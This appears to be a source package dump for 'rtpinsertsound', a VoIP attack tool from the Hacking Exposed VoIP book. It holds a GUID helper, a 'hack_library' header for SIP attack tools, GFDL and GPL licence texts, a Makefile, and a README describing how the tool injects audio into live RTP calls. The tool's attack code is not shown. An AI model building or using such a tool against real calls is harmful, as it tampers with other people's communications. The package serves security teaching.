223 fprintf( stderr,
224 "GetNextGuid: out of memory",
225 __FILE__,
226 __LINE__ );
227 return ( NULL );
228 }
229
230 gettimeofday( &tv, NULL );
231
232 snprintf( guid, 37,
233 "%1x%05x%02x-%04x-%04x-%04x-%08x%04x",
234 ( unsigned int ) tv.tv_sec & 0x0000000f,
235 ( unsigned int ) tv.tv_usec & 0x000fffff,
236 ( unsigned int ) r3 >> 16 & 0x000000ff,
237 ( unsigned int ) tv.tv_sec >> 4 & 0x0000ffff,
238 ( unsigned int )( tv.tv_sec >> 20 & 0x00000fff ) | 0x00004000,
239 ( unsigned int )( r1 & 0x00003fff ) | 0x00008000,
240 ( unsigned int ) r2 & 0xffffffff,
241 ( unsigned int ) r3 & 0x0000ffff );
242
243 return ( guid );
244 }
0 //-------------------------------------------------------------------------------
1 //
2 // hack_library.h - A collection of tools used for SIP attack
3 // tools. Developed for the Hacking
4 // Exposed VoIP book.
5 //
6 // Copyright (C) 2006 Mark D. Collier/Mark O'Brien
7 //
8 // This program is free software; you can redistribute it and/or modify
9 // it under the terms of the GNU General Public License as published by
10 // the Free Software Foundation; either version 2 of the License, or
11 // (at your option) any later version.
12 //
13 // This program is distributed in the hope that it will be useful,
14 // but WITHOUT ANY WARRANTY; without even the implied warranty of
15 // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
16 // GNU General Public License for more details.
17 //
18 // You should have received a copy of the GNU General Public License
19 // along with this program; if not, write to the Free Software
20 // Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA.
21 //
22 // Author: Mark D. Collier/Mark O'Brien - 02/17/2006 v1.0
23 // www.securelogix.com - [email protected]
24 // www.hackingexposedvoip.com
25 //
26 //-------------------------------------------------------------------------------
27
28 #ifndef __HACK_LIBRARY_H
29 #define __HACK_LIBRARY_H
30
31 #include <stdio.h>
32 #include <stdlib.h>
33 #include <stdbool.h>
34 #include <fcntl.h>
35
36 int Str2IP ( char *str, int *ipNum );
37 int DumpPacket ( char *psPacket, int packetSize );
38 char *GetNextGuid ( void );
39
40 #endif // __HACK_LIBRARY_H
0 GNU Free Documentation License
1 Version 1.2, November 2002
2
3
4 Copyright (C) 2000,2001,2002 Free Software Foundation, Inc.
5 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
6 Everyone is permitted to copy and distribute verbatim copies
7 of this license document, but changing it is not allowed.
8
9
10 0. PREAMBLE
11
12 The purpose of this License is to make a manual, textbook, or other
13 functional and useful document "free" in the sense of freedom: to
14 assure everyone the effective freedom to copy and redistribute it,
15 with or without modifying it, either commercially or noncommercially.
16 Secondarily, this License preserves for the author and publisher a way
17 to get credit for their work, while not being considered responsible
18 for modifications made by others.
19
20 This License is a kind of "copyleft", which means that derivative
21 works of the document must themselves be free in the same sense. It
22 complements the GNU General Public License, which is a copyleft
23 license designed for free software.
24
25 We have designed this License in order to use it for manuals for free
26 software, because free software needs free documentation: a free
27 program should come with manuals providing the same freedoms that the
28 software does. But this License is not limited to software manuals;
29 it can be used for any textual work, regardless of subject matter or
30 whether it is published as a printed book. We recommend this License
31 principally for works whose purpose is instruction or reference.
32
33
34 1. APPLICABILITY AND DEFINITIONS
35
36 This License applies to any manual or other work, in any medium, that
37 contains a notice placed by the copyright holder saying it can be
38 distributed under the terms of this License. Such a notice grants a
39 world-wide, royalty-free license, unlimited in duration, to use that
40 work under the conditions stated herein. The "Document", below,
41 refers to any such manual or work. Any member of the public is a
42 licensee, and is addressed as "you". You accept the license if you
43 copy, modify or distribute the work in a way requiring permission
44 under copyright law.
45
46 A "Modified Version" of the Document means any work containing the
47 Document or a portion of it, either copied verbatim, or with
48 modifications and/or translated into another language.
49
50 A "Secondary Section" is a named appendix or a front-matter section of
51 the Document that deals exclusively with the relationship of the
52 publishers or authors of the Document to the Document's overall subject
53 (or to related matters) and contains nothing that could fall directly
54 within that overall subject. (Thus, if the Document is in part a
55 textbook of mathematics, a Secondary Section may not explain any
56 mathematics.) The relationship could be a matter of historical
57 connection with the subject or with related matters, or of legal,
58 commercial, philosophical, ethical or political position regarding
59 them.
60
61 The "Invariant Sections" are certain Secondary Sections whose titles
62 are designated, as being those of Invariant Sections, in the notice
63 that says that the Document is released under this License. If a
64 section does not fit the above definition of Secondary then it is not
65 allowed to be designated as Invariant. The Document may contain zero
66 Invariant Sections. If the Document does not identify any Invariant
67 Sections then there are none.
68
69 The "Cover Texts" are certain short passages of text that are listed,
70 as Front-Cover Texts or Back-Cover Texts, in the notice that says that
71 the Document is released under this License. A Front-Cover Text may
72 be at most 5 words, and a Back-Cover Text may be at most 25 words.
73
74 A "Transparent" copy of the Document means a machine-readable copy,
75 represented in a format whose specification is available to the
76 general public, that is suitable for revising the document
77 straightforwardly with generic text editors or (for images composed of
78 pixels) generic paint programs or (for drawings) some widely available
79 drawing editor, and that is suitable for input to text formatters or
80 for automatic translation to a variety of formats suitable for input
81 to text formatters. A copy made in an otherwise Transparent file
82 format whose markup, or absence of markup, has been arranged to thwart
83 or discourage subsequent modification by readers is not Transparent.
84 An image format is not Transparent if used for any substantial amount
85 of text. A copy that is not "Transparent" is called "Opaque".
86
87 Examples of suitable formats for Transparent copies include plain
88 ASCII without markup, Texinfo input format, LaTeX input format, SGML
89 or XML using a publicly available DTD, and standard-conforming simple
90 HTML, PostScript or PDF designed for human modification. Examples of
91 transparent image formats include PNG, XCF and JPG. Opaque formats
92 include proprietary formats that can be read and edited only by
93 proprietary word processors, SGML or XML for which the DTD and/or
94 processing tools are not generally available, and the
95 machine-generated HTML, PostScript or PDF produced by some word
96 processors for output purposes only.
97
98 The "Title Page" means, for a printed book, the title page itself,
99 plus such following pages as are needed to hold, legibly, the material
100 this License requires to appear in the title page. For works in
101 formats which do not have any title page as such, "Title Page" means
102 the text near the most prominent appearance of the work's title,
103 preceding the beginning of the body of the text.
104
105 A section "Entitled XYZ" means a named subunit of the Document whose
106 title either is precisely XYZ or contains XYZ in parentheses following
107 text that translates XYZ in another language. (Here XYZ stands for a
108 specific section name mentioned below, such as "Acknowledgements",
109 "Dedications", "Endorsements", or "History".) To "Preserve the Title"
110 of such a section when you modify the Document means that it remains a
111 section "Entitled XYZ" according to this definition.
112
113 The Document may include Warranty Disclaimers next to the notice which
114 states that this License applies to the Document. These Warranty
115 Disclaimers are considered to be included by reference in this
116 License, but only as regards disclaiming warranties: any other
117 implication that these Warranty Disclaimers may have is void and has
118 no effect on the meaning of this License.
119
120
121 2. VERBATIM COPYING
122
123 You may copy and distribute the Document in any medium, either
124 commercially or noncommercially, provided that this License, the
125 copyright notices, and the license notice saying this License applies
126 to the Document are reproduced in all copies, and that you add no other
127 conditions whatsoever to those of this License. You may not use
128 technical measures to obstruct or control the reading or further
129 copying of the copies you make or distribute. However, you may accept
130 compensation in exchange for copies. If you distribute a large enough
131 number of copies you must also follow the conditions in section 3.
132
133 You may also lend copies, under the same conditions stated above, and
134 you may publicly display copies.
135
136
137 3. COPYING IN QUANTITY
138
139 If you publish printed copies (or copies in media that commonly have
140 printed covers) of the Document, numbering more than 100, and the
141 Document's license notice requires Cover Texts, you must enclose the
142 copies in covers that carry, clearly and legibly, all these Cover
143 Texts: Front-Cover Texts on the front cover, and Back-Cover Texts on
144 the back cover. Both covers must also clearly and legibly identify
145 you as the publisher of these copies. The front cover must present
146 the full title with all words of the title equally prominent and
147 visible. You may add other material on the covers in addition.
148 Copying with changes limited to the covers, as long as they preserve
149 the title of the Document and satisfy these conditions, can be treated
150 as verbatim copying in other respects.
151
152 If the required texts for either cover are too voluminous to fit
153 legibly, you should put the first ones listed (as many as fit
154 reasonably) on the actual cover, and continue the rest onto adjacent
155 pages.
156
157 If you publish or distribute Opaque copies of the Document numbering
158 more than 100, you must either include a machine-readable Transparent
159 copy along with each Opaque copy, or state in or with each Opaque copy
160 a computer-network location from which the general network-using
161 public has access to download using public-standard network protocols
162 a complete Transparent copy of the Document, free of added material.
163 If you use the latter option, you must take reasonably prudent steps,
164 when you begin distribution of Opaque copies in quantity, to ensure
165 that this Transparent copy will remain thus accessible at the stated
166 location until at least one year after the last time you distribute an
167 Opaque copy (directly or through your agents or retailers) of that
168 edition to the public.
169
170 It is requested, but not required, that you contact the authors of the
171 Document well before redistributing any large number of copies, to give
172 them a chance to provide you with an updated version of the Document.
173
174
175 4. MODIFICATIONS
176
177 You may copy and distribute a Modified Version of the Document under
178 the conditions of sections 2 and 3 above, provided that you release
179 the Modified Version under precisely this License, with the Modified
180 Version filling the role of the Document, thus licensing distribution
181 and modification of the Modified Version to whoever possesses a copy
182 of it. In addition, you must do these things in the Modified Version:
183
184 A. Use in the Title Page (and on the covers, if any) a title distinct
185 from that of the Document, and from those of previous versions
186 (which should, if there were any, be listed in the History section
187 of the Document). You may use the same title as a previous version
188 if the original publisher of that version gives permission.
189 B. List on the Title Page, as authors, one or more persons or entities
190 responsible for authorship of the modifications in the Modified
191 Version, together with at least five of the principal authors of the
192 Document (all of its principal authors, if it has fewer than five),
193 unless they release you from this requirement.
194 C. State on the Title page the name of the publisher of the
195 Modified Version, as the publisher.
196 D. Preserve all the copyright notices of the Document.
197 E. Add an appropriate copyright notice for your modifications
198 adjacent to the other copyright notices.
199 F. Include, immediately after the copyright notices, a license notice
200 giving the public permission to use the Modified Version under the
201 terms of this License, in the form shown in the Addendum below.
202 G. Preserve in that license notice the full lists of Invariant Sections
203 and required Cover Texts given in the Document's license notice.
204 H. Include an unaltered copy of this License.
205 I. Preserve the section Entitled "History", Preserve its Title, and add
206 to it an item stating at least the title, year, new authors, and
207 publisher of the Modified Version as given on the Title Page. If
208 there is no section Entitled "History" in the Document, create one
209 stating the title, year, authors, and publisher of the Document as
210 given on its Title Page, then add an item describing the Modified
211 Version as stated in the previous sentence.
212 J. Preserve the network location, if any, given in the Document for
213 public access to a Transparent copy of the Document, and likewise
214 the network locations given in the Document for previous versions
215 it was based on. These may be placed in the "History" section.
216 You may omit a network location for a work that was published at
217 least four years before the Document itself, or if the original
218 publisher of the version it refers to gives permission.
219 K. For any section Entitled "Acknowledgements" or "Dedications",
220 Preserve the Title of the section, and preserve in the section all
221 the substance and tone of each of the contributor acknowledgements
222 and/or dedications given therein.
223 L. Preserve all the Invariant Sections of the Document,
224 unaltered in their text and in their titles. Section numbers
225 or the equivalent are not considered part of the section titles.
226 M. Delete any section Entitled "Endorsements". Such a section
227 may not be included in the Modified Version.
228 N. Do not retitle any existing section to be Entitled "Endorsements"
229 or to conflict in title with any Invariant Section.
230 O. Preserve any Warranty Disclaimers.
231
232 If the Modified Version includes new front-matter sections or
233 appendices that qualify as Secondary Sections and contain no material
234 copied from the Document, you may at your option designate some or all
235 of these sections as invariant. To do this, add their titles to the
236 list of Invariant Sections in the Modified Version's license notice.
237 These titles must be distinct from any other section titles.
238
239 You may add a section Entitled "Endorsements", provided it contains
240 nothing but endorsements of your Modified Version by various
241 parties--for example, statements of peer review or that the text has
242 been approved by an organization as the authoritative definition of a
243 standard.
244
245 You may add a passage of up to five words as a Front-Cover Text, and a
246 passage of up to 25 words as a Back-Cover Text, to the end of the list
247 of Cover Texts in the Modified Version. Only one passage of
248 Front-Cover Text and one of Back-Cover Text may be added by (or
249 through arrangements made by) any one entity. If the Document already
250 includes a cover text for the same cover, previously added by you or
251 by arrangement made by the same entity you are acting on behalf of,
252 you may not add another; but you may replace the old one, on explicit
253 permission from the previous publisher that added the old one.
254
255 The author(s) and publisher(s) of the Document do not by this License
256 give permission to use their names for publicity for or to assert or
257 imply endorsement of any Modified Version.
258
259
260 5. COMBINING DOCUMENTS
261
262 You may combine the Document with other documents released under this
263 License, under the terms defined in section 4 above for modified
264 versions, provided that you include in the combination all of the
265 Invariant Sections of all of the original documents, unmodified, and
266 list them all as Invariant Sections of your combined work in its
267 license notice, and that you preserve all their Warranty Disclaimers.
268
269 The combined work need only contain one copy of this License, and
270 multiple identical Invariant Sections may be replaced with a single
271 copy. If there are multiple Invariant Sections with the same name but
272 different contents, make the title of each such section unique by
273 adding at the end of it, in parentheses, the name of the original
274 author or publisher of that section if known, or else a unique number.
275 Make the same adjustment to the section titles in the list of
276 Invariant Sections in the license notice of the combined work.
277
278 In the combination, you must combine any sections Entitled "History"
279 in the various original documents, forming one section Entitled
280 "History"; likewise combine any sections Entitled "Acknowledgements",
281 and any sections Entitled "Dedications". You must delete all sections
282 Entitled "Endorsements".
283
284
285 6. COLLECTIONS OF DOCUMENTS
286
287 You may make a collection consisting of the Document and other documents
288 released under this License, and replace the individual copies of this
289 License in the various documents with a single copy that is included in
290 the collection, provided that you follow the rules of this License for
291 verbatim copying of each of the documents in all other respects.
292
293 You may extract a single document from such a collection, and distribute
294 it individually under this License, provided you insert a copy of this
295 License into the extracted document, and follow this License in all
296 other respects regarding verbatim copying of that document.
297
298
299 7. AGGREGATION WITH INDEPENDENT WORKS
300
301 A compilation of the Document or its derivatives with other separate
302 and independent documents or works, in or on a volume of a storage or
303 distribution medium, is called an "aggregate" if the copyright
304 resulting from the compilation is not used to limit the legal rights
305 of the compilation's users beyond what the individual works permit.
306 When the Document is included in an aggregate, this License does not
307 apply to the other works in the aggregate which are not themselves
308 derivative works of the Document.
309
310 If the Cover Text requirement of section 3 is applicable to these
311 copies of the Document, then if the Document is less than one half of
312 the entire aggregate, the Document's Cover Texts may be placed on
313 covers that bracket the Document within the aggregate, or the
314 electronic equivalent of covers if the Document is in electronic form.
315 Otherwise they must appear on printed covers that bracket the whole
316 aggregate.
317
318
319 8. TRANSLATION
320
321 Translation is considered a kind of modification, so you may
322 distribute translations of the Document under the terms of section 4.
323 Replacing Invariant Sections with translations requires special
324 permission from their copyright holders, but you may include
325 translations of some or all Invariant Sections in addition to the
326 original versions of these Invariant Sections. You may include a
327 translation of this License, and all the license notices in the
328 Document, and any Warranty Disclaimers, provided that you also include
329 the original English version of this License and the original versions
330 of those notices and disclaimers. In case of a disagreement between
331 the translation and the original version of this License or a notice
332 or disclaimer, the original version will prevail.
333
334 If a section in the Document is Entitled "Acknowledgements",
335 "Dedications", or "History", the requirement (section 4) to Preserve
336 its Title (section 1) will typically require changing the actual
337 title.
338
339
340 9. TERMINATION
341
342 You may not copy, modify, sublicense, or distribute the Document except
343 as expressly provided for under this License. Any other attempt to
344 copy, modify, sublicense or distribute the Document is void, and will
345 automatically terminate your rights under this License. However,
346 parties who have received copies, or rights, from you under this
347 License will not have their licenses terminated so long as such
348 parties remain in full compliance.
349
350
351 10. FUTURE REVISIONS OF THIS LICENSE
352
353 The Free Software Foundation may publish new, revised versions
354 of the GNU Free Documentation License from time to time. Such new
355 versions will be similar in spirit to the present version, but may
356 differ in detail to address new problems or concerns. See
357 http://www.gnu.org/copyleft/.
358
359 Each version of the License is given a distinguishing version number.
360 If the Document specifies that a particular numbered version of this
361 License "or any later version" applies to it, you have the option of
362 following the terms and conditions either of that specified version or
363 of any later version that has been published (not as a draft) by the
364 Free Software Foundation. If the Document does not specify a version
365 number of this License, you may choose any version ever published (not
366 as a draft) by the Free Software Foundation.
367
368
369 ADDENDUM: How to use this License for your documents
370
371 To use this License in a document you have written, include a copy of
372 the License in the document and put the following copyright and
373 license notices just after the title page:
374
375 Copyright (c) YEAR YOUR NAME.
376 Permission is granted to copy, distribute and/or modify this document
377 under the terms of the GNU Free Documentation License, Version 1.2
378 or any later version published by the Free Software Foundation;
379 with no Invariant Sections, no Front-Cover Texts, and no Back-Cover Texts.
380 A copy of the license is included in the section entitled "GNU
381 Free Documentation License".
382
383 If you have Invariant Sections, Front-Cover Texts and Back-Cover Texts,
384 replace the "with...Texts." line with this:
385
386 with the Invariant Sections being LIST THEIR TITLES, with the
387 Front-Cover Texts being LIST, and with the Back-Cover Texts being LIST.
388
389 If you have Invariant Sections without Cover Texts, or some other
390 combination of the three, merge those two alternatives to suit the
391 situation.
392
393 If your document contains nontrivial examples of program code, we
394 recommend releasing these examples in parallel under your choice of
395 free software license, such as the GNU General Public License,
396 to permit their use in free software.
0 GNU GENERAL PUBLIC LICENSE
1 Version 2, June 1991
2
3 Copyright (C) 1989, 1991 Free Software Foundation, Inc.
4 59 Temple Place - Suite 330, Boston, MA
5 02111-1307, USA.
6 Everyone is permitted to copy and distribute verbatim copies
7 of this license document, but changing it is not allowed.
8
9 Preamble
10
11 The licenses for most software are designed to take away your
12 freedom to share and change it. By contrast, the GNU General Public
13 License is intended to guarantee your freedom to share and change free
14 software--to make sure the software is free for all its users. This
15 General Public License applies to most of the Free Software
16 Foundation's software and to any other program whose authors commit to
17 using it. (Some other Free Software Foundation software is covered by
18 the GNU Library General Public License instead.) You can apply it to
19 your programs, too.
20
21 When we speak of free software, we are referring to freedom, not
22 price. Our General Public Licenses are designed to make sure that you
23 have the freedom to distribute copies of free software (and charge for
24 this service if you wish), that you receive source code or can get it
25 if you want it, that you can change the software or use pieces of it
26 in new free programs; and that you know you can do these things.
27
28 To protect your rights, we need to make restrictions that forbid
29 anyone to deny you these rights or to ask you to surrender the rights.
30 These restrictions translate to certain responsibilities for you if you
31 distribute copies of the software, or if you modify it.
32
33 For example, if you distribute copies of such a program, whether
34 gratis or for a fee, you must give the recipients all the rights that
35 you have. You must make sure that they, too, receive or can get the
36 source code. And you must show them these terms so they know their
37 rights.
38
39 We protect your rights with two steps: (1) copyright the software, and
40 (2) offer you this license which gives you legal permission to copy,
41 distribute and/or modify the software.
42
43 Also, for each author's protection and ours, we want to make certain
44 that everyone understands that there is no warranty for this free
45 software. If the software is modified by someone else and passed on, we
46 want its recipients to know that what they have is not the original, so
47 that any problems introduced by others will not reflect on the original
48 authors' reputations.
49
50 Finally, any free program is threatened constantly by software
51 patents. We wish to avoid the danger that redistributors of a free
52 program will individually obtain patent licenses, in effect making the
53 program proprietary. To prevent this, we have made it clear that any
54 patent must be licensed for everyone's free use or not licensed at all.
55
56 The precise terms and conditions for copying, distribution and
57 modification follow.
58
59 GNU GENERAL PUBLIC LICENSE
60 TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION
61
62 0. This License applies to any program or other work which contains
63 a notice placed by the copyright holder saying it may be distributed
64 under the terms of this General Public License. The "Program", below,
65 refers to any such program or work, and a "work based on the Program"
66 means either the Program or any derivative work under copyright law:
67 that is to say, a work containing the Program or a portion of it,
68 either verbatim or with modifications and/or translated into another
69 language. (Hereinafter, translation is included without limitation in
70 the term "modification".) Each licensee is addressed as "you".
71
72 Activities other than copying, distribution and modification are not
73 covered by this License; they are outside its scope. The act of
74 running the Program is not restricted, and the output from the Program
75 is covered only if its contents constitute a work based on the
76 Program (independent of having been made by running the Program).
77 Whether that is true depends on what the Program does.
78
79 1. You may copy and distribute verbatim copies of the Program's
80 source code as you receive it, in any medium, provided that you
81 conspicuously and appropriately publish on each copy an appropriate
82 copyright notice and disclaimer of warranty; keep intact all the
83 notices that refer to this License and to the absence of any warranty;
84 and give any other recipients of the Program a copy of this License
85 along with the Program.
86
87 You may charge a fee for the physical act of transferring a copy, and
88 you may at your option offer warranty protection in exchange for a fee.
89
90 2. You may modify your copy or copies of the Program or any portion
91 of it, thus forming a work based on the Program, and copy and
92 distribute such modifications or work under the terms of Section 1
93 above, provided that you also meet all of these conditions:
94
95 a) You must cause the modified files to carry prominent notices
96 stating that you changed the files and the date of any change.
97
98 b) You must cause any work that you distribute or publish, that in
99 whole or in part contains or is derived from the Program or any
100 part thereof, to be licensed as a whole at no charge to all third
101 parties under the terms of this License.
102
103 c) If the modified program normally reads commands interactively
104 when run, you must cause it, when started running for such
105 interactive use in the most ordinary way, to print or display an
106 announcement including an appropriate copyright notice and a
107 notice that there is no warranty (or else, saying that you provide
108 a warranty) and that users may redistribute the program under
109 these conditions, and telling the user how to view a copy of this
110 License. (Exception: if the Program itself is interactive but
111 does not normally print such an announcement, your work based on
112 the Program is not required to print an announcement.)
113
114 These requirements apply to the modified work as a whole. If
115 identifiable sections of that work are not derived from the Program,
116 and can be reasonably considered independent and separate works in
117 themselves, then this License, and its terms, do not apply to those
118 sections when you distribute them as separate works. But when you
119 distribute the same sections as part of a whole which is a work based
120 on the Program, the distribution of the whole must be on the terms of
121 this License, whose permissions for other licensees extend to the
122 entire whole, and thus to each and every part regardless of who wrote it.
123
124 Thus, it is not the intent of this section to claim rights or contest
125 your rights to work written entirely by you; rather, the intent is to
126 exercise the right to control the distribution of derivative or
127 collective works based on the Program.
128
129 In addition, mere aggregation of another work not based on the Program
130 with the Program (or with a work based on the Program) on a volume of
131 a storage or distribution medium does not bring the other work under
132 the scope of this License.
133
134 3. You may copy and distribute the Program (or a work based on it,
135 under Section 2) in object code or executable form under the terms of
136 Sections 1 and 2 above provided that you also do one of the following:
137
138 a) Accompany it with the complete corresponding machine-readable
139 source code, which must be distributed under the terms of Sections
140 1 and 2 above on a medium customarily used for software interchange; or,
141
142 b) Accompany it with a written offer, valid for at least three
143 years, to give any third party, for a charge no more than your
144 cost of physically performing source distribution, a complete
145 machine-readable copy of the corresponding source code, to be
146 distributed under the terms of Sections 1 and 2 above on a medium
147 customarily used for software interchange; or,
148
149 c) Accompany it with the information you received as to the offer
150 to distribute corresponding source code. (This alternative is
151 allowed only for noncommercial distribution and only if you
152 received the program in object code or executable form with such
153 an offer, in accord with Subsection b above.)
154
155 The source code for a work means the preferred form of the work for
156 making modifications to it. For an executable work, complete source
157 code means all the source code for all modules it contains, plus any
158 associated interface definition files, plus the scripts used to
159 control compilation and installation of the executable. However, as a
160 special exception, the source code distributed need not include
161 anything that is normally distributed (in either source or binary
162 form) with the major components (compiler, kernel, and so on) of the
163 operating system on which the executable runs, unless that component
164 itself accompanies the executable.
165
166 If distribution of executable or object code is made by offering
167 access to copy from a designated place, then offering equivalent
168 access to copy the source code from the same place counts as
169 distribution of the source code, even though third parties are not
170 compelled to copy the source along with the object code.
171
172 4. You may not copy, modify, sublicense, or distribute the Program
173 except as expressly provided under this License. Any attempt
174 otherwise to copy, modify, sublicense or distribute the Program is
175 void, and will automatically terminate your rights under this License.
176 However, parties who have received copies, or rights, from you under
177 this License will not have their licenses terminated so long as such
178 parties remain in full compliance.
179
180 5. You are not required to accept this License, since you have not
181 signed it. However, nothing else grants you permission to modify or
182 distribute the Program or its derivative works. These actions are
183 prohibited by law if you do not accept this License. Therefore, by
184 modifying or distributing the Program (or any work based on the
185 Program), you indicate your acceptance of this License to do so, and
186 all its terms and conditions for copying, distributing or modifying
187 the Program or works based on it.
188
189 6. Each time you redistribute the Program (or any work based on the
190 Program), the recipient automatically receives a license from the
191 original licensor to copy, distribute or modify the Program subject to
192 these terms and conditions. You may not impose any further
193 restrictions on the recipients' exercise of the rights granted herein.
194 You are not responsible for enforcing compliance by third parties to
195 this License.
196
197 7. If, as a consequence of a court judgment or allegation of patent
198 infringement or for any other reason (not limited to patent issues),
199 conditions are imposed on you (whether by court order, agreement or
200 otherwise) that contradict the conditions of this License, they do not
201 excuse you from the conditions of this License. If you cannot
202 distribute so as to satisfy simultaneously your obligations under this
203 License and any other pertinent obligations, then as a consequence you
204 may not distribute the Program at all. For example, if a patent
205 license would not permit royalty-free redistribution of the Program by
206 all those who receive copies directly or indirectly through you, then
207 the only way you could satisfy both it and this License would be to
208 refrain entirely from distribution of the Program.
209
210 If any portion of this section is held invalid or unenforceable under
211 any particular circumstance, the balance of the section is intended to
212 apply and the section as a whole is intended to apply in other
213 circumstances.
214
215 It is not the purpose of this section to induce you to infringe any
216 patents or other property right claims or to contest validity of any
217 such claims; this section has the sole purpose of protecting the
218 integrity of the free software distribution system, which is
219 implemented by public license practices. Many people have made
220 generous contributions to the wide range of software distributed
221 through that system in reliance on consistent application of that
222 system; it is up to the author/donor to decide if he or she is willing
223 to distribute software through any other system and a licensee cannot
224 impose that choice.
225
226 This section is intended to make thoroughly clear what is believed to
227 be a consequence of the rest of this License.
228
229 8. If the distribution and/or use of the Program is restricted in
230 certain countries either by patents or by copyrighted interfaces, the
231 original copyright holder who places the Program under this License
232 may add an explicit geographical distribution limitation excluding
233 those countries, so that distribution is permitted only in or among
234 countries not thus excluded. In such case, this License incorporates
235 the limitation as if written in the body of this License.
236
237 9. The Free Software Foundation may publish revised and/or new versions
238 of the General Public License from time to time. Such new versions will
239 be similar in spirit to the present version, but may differ in detail to
240 address new problems or concerns.
241
242 Each version is given a distinguishing version number. If the Program
243 specifies a version number of this License which applies to it and "any
244 later version", you have the option of following the terms and conditions
245 either of that version or of any later version published by the Free
246 Software Foundation. If the Program does not specify a version number of
247 this License, you may choose any version ever published by the Free Software
248 Foundation.
249
250 10. If you wish to incorporate parts of the Program into other free
251 programs whose distribution conditions are different, write to the author
252 to ask for permission. For software which is copyrighted by the Free
253 Software Foundation, write to the Free Software Foundation; we sometimes
254 make exceptions for this. Our decision will be guided by the two goals
255 of preserving the free status of all derivatives of our free software and
256 of promoting the sharing and reuse of software generally.
257
258 NO WARRANTY
259
260 11. BECAUSE THE PROGRAM IS LICENSED FREE OF CHARGE, THERE IS NO WARRANTY
261 FOR THE PROGRAM, TO THE EXTENT PERMITTED BY APPLICABLE LAW. EXCEPT WHEN
262 OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES
263 PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED
264 OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF
265 MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. THE ENTIRE RISK AS
266 TO THE QUALITY AND PERFORMANCE OF THE PROGRAM IS WITH YOU. SHOULD THE
267 PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING,
268 REPAIR OR CORRECTION.
269
270 12. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING
271 WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY AND/OR
272 REDISTRIBUTE THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES,
273 INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING
274 OUT OF THE USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED
275 TO LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY
276 YOU OR THIRD PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER
277 PROGRAMS), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE
278 POSSIBILITY OF SUCH DAMAGES.
279
280 END OF TERMS AND CONDITIONS
281
282 Appendix: How to Apply These Terms to Your New Programs
283
284 If you develop a new program, and you want it to be of the greatest
285 possible use to the public, the best way to achieve this is to make it
286 free software which everyone can redistribute and change under these terms.
287
288 To do so, attach the following notices to the program. It is safest
289 to attach them to the start of each source file to most effectively
290 convey the exclusion of warranty; and each file should have at least
291 the "copyright" line and a pointer to where the full notice is found.
292
293 <one line to give the program's name and a brief idea of what it does.>
294 Copyright (C) 19yy <name of author>
295
296 This program is free software; you can redistribute it and/or modify
297 it under the terms of the GNU General Public License as published by
298 the Free Software Foundation; either version 2 of the License, or
299 (at your option) any later version.
300
301 This program is distributed in the hope that it will be useful,
302 but WITHOUT ANY WARRANTY; without even the implied warranty of
303 MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
304 GNU General Public License for more details.
305
306 You should have received a copy of the GNU General Public License
307 along with this program; if not, write to the Free Software
308 Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA.
309
310 Also add information on how to contact you by electronic and paper mail.
311
312 If the program is interactive, make it output a short notice like this
313 when it starts in an interactive mode:
314
315 Gnomovision version 69, Copyright (C) 19yy name of author
316 Gnomovision comes with ABSOLUTELY NO WARRANTY; for details type `show w'.
317 This is free software, and you are welcome to redistribute it
318 under certain conditions; type `show c' for details.
319
320 The hypothetical commands `show w' and `show c' should show the appropriate
321 parts of the General Public License. Of course, the commands you use may
322 be called something other than `show w' and `show c'; they could even be
323 mouse-clicks or menu items--whatever suits your program.
324
325 You should also get your employer (if you work as a programmer) or your
326 school, if any, to sign a "copyright disclaimer" for the program, if
327 necessary. Here is a sample; alter the names:
328
329 Yoyodyne, Inc., hereby disclaims all copyright interest in the program
330 `Gnomovision' (which makes passes at compilers) written by James Hacker.
331
332 <signature of Ty Coon>, 1 April 1989
333 Ty Coon, President of Vice
334
335 This General Public License does not permit incorporating your program into
336 proprietary programs. If your program is a subroutine library, you may
337 consider it more useful to permit linking proprietary applications with the
338 library. If this is what you want to do, use the GNU Library General
339 Public License instead of this License.
0 rtpinsertsound: rtpinsertsound.c rtpinsertsound.h
1 gcc -I../hack_library -I../g711conversions rtpinsertsound.c -lnet -lpcap -lfindrtp ../hack_library/hack_library.o ../g711conversions/g711conversions.o -o rtpinsertsound
2
3 clean:
4 rm -f rtpinsertsound rtpinsertsound.o
5
6
0 A tool to insert audio into a specified audio (i.e. RTP) stream was created in
1 the August - September 2006 timeframe. The tool is named rtpinsertsound. It
2 was tested on a Linux Red Hat Fedora Core 4 platform (Pentium IV, 2.5 GHz),
3 but it is expected this tool will successfully build and execute on a variety
4 of Linux distributions. The first distribution of the tool is: v1.1.
5
6 v3.0 is an upgrade produced in January 2007 to support the auto-detection
7 of RTP session endpoint addresses and ports via libfindrtp.
8
9 v2.0 is an upgrade produced in October 2006 to directly support the input
10 of certain wave (i.e. .wav) files into the tool as the source of audio
11 to insert, in addition to the input of audio in the form of a tcpdump
12 formatted file (i.e. G.711 RTP/UDP/IP/ETHERNET captures) which was
13 supported in v1.1.
14
15 Copyright (c) 2006 Mark D. Collier/Mark O'Brien
16 Permission is granted to copy, distribute and/or modify this document
